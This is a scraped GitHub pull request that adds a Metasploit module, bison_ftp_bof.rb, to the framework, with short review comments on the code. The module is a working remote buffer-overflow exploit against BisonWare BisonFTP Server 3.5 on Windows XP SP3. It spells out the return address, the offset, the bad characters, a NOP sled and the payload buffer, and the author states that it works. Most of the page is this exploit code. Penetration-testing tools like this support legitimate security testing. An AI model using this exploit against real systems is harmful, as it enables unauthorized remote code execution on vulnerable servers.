-
Notifications
You must be signed in to change notification settings - Fork 13.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Create bison_ftp_bof.rb (Bisonware BisonFTP Server 3.5 BoF) #6263
Changes from 3 commits
fcc7520
335944a
bd85632
1dee6dc
e3bca89
441fff4
3d6e406
9a7e51d
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,91 @@ | ||
## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class Metasploit4 < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
|
||
include Msf::Exploit::Remote::Ftp | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'BisonWare BisonFTP Server Buffer Overflow', | ||
'Description' => %q{ | ||
BisonWare BisonFTP Server 3.5 is prone to an overflow condition. | ||
This module exploits a buffer overflow vulnerability in the said | ||
application. | ||
}, | ||
'Platform' => 'win', | ||
'Author' => | ||
[ | ||
'localh0t', # initial discovery | ||
'veerendragg', # initial msf | ||
'Jay Turla' # msf | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'CVE', '1999-1510'], | ||
[ 'BID', '49109'], | ||
[ 'EDB', '17649'], | ||
[ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'] | ||
], | ||
'Privileged' => false, | ||
'DefaultOptions' => | ||
{ | ||
'VERBOSE' => true | ||
}, | ||
'Payload' => | ||
{ | ||
'Space' => 385, | ||
'BadChars' => "\x00\x0a\x0d", | ||
}, | ||
'Targets' => | ||
[ | ||
[ 'Bisonware FTP Server / Windows XP SP3 EN', | ||
{ | ||
'Ret' => 0x0040333f, | ||
'Offset' => 1432 | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
|
||
} | ||
], | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => 'Aug 07 2011')) | ||
end | ||
|
||
def check | ||
connect_login | ||
disconnect | ||
if /BisonWare BisonFTP server product V3\.5/i === banner | ||
return Exploit::CheckCode::Appears | ||
else | ||
return Exploit::CheckCode::Safe | ||
end | ||
end | ||
|
||
def exploit | ||
connect | ||
print_status('Triggering the prompt for an unregistered product') | ||
sock.put('') | ||
print_status('Disconnecting...') | ||
disconnect | ||
|
||
print_status('Connecting for the second time to deliver our payload...') | ||
connect #connect for the second time | ||
|
||
buf = rand_text_alpha(1028) | ||
buf << make_nops(16) | ||
buf << payload.encoded | ||
buf << make_nops(388 - payload.encoded.length) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Offstes |
||
buf << [target.ret].pack('V') | ||
buf << rand_text_alpha(39) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Same with |
||
print_status('Sending payload...') | ||
|
||
sock.put(buf) | ||
handler | ||
disconnect | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If the RET contains a
NULL
byte, why is\x00
included in badchars?There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
seems to be working though, if I removed the
NULL
byte, the exploit doesn't work.There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Interesting. So perhaps the 39 bytes at the end of the exploit aren't required then?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
yep you are right, I will remove that then.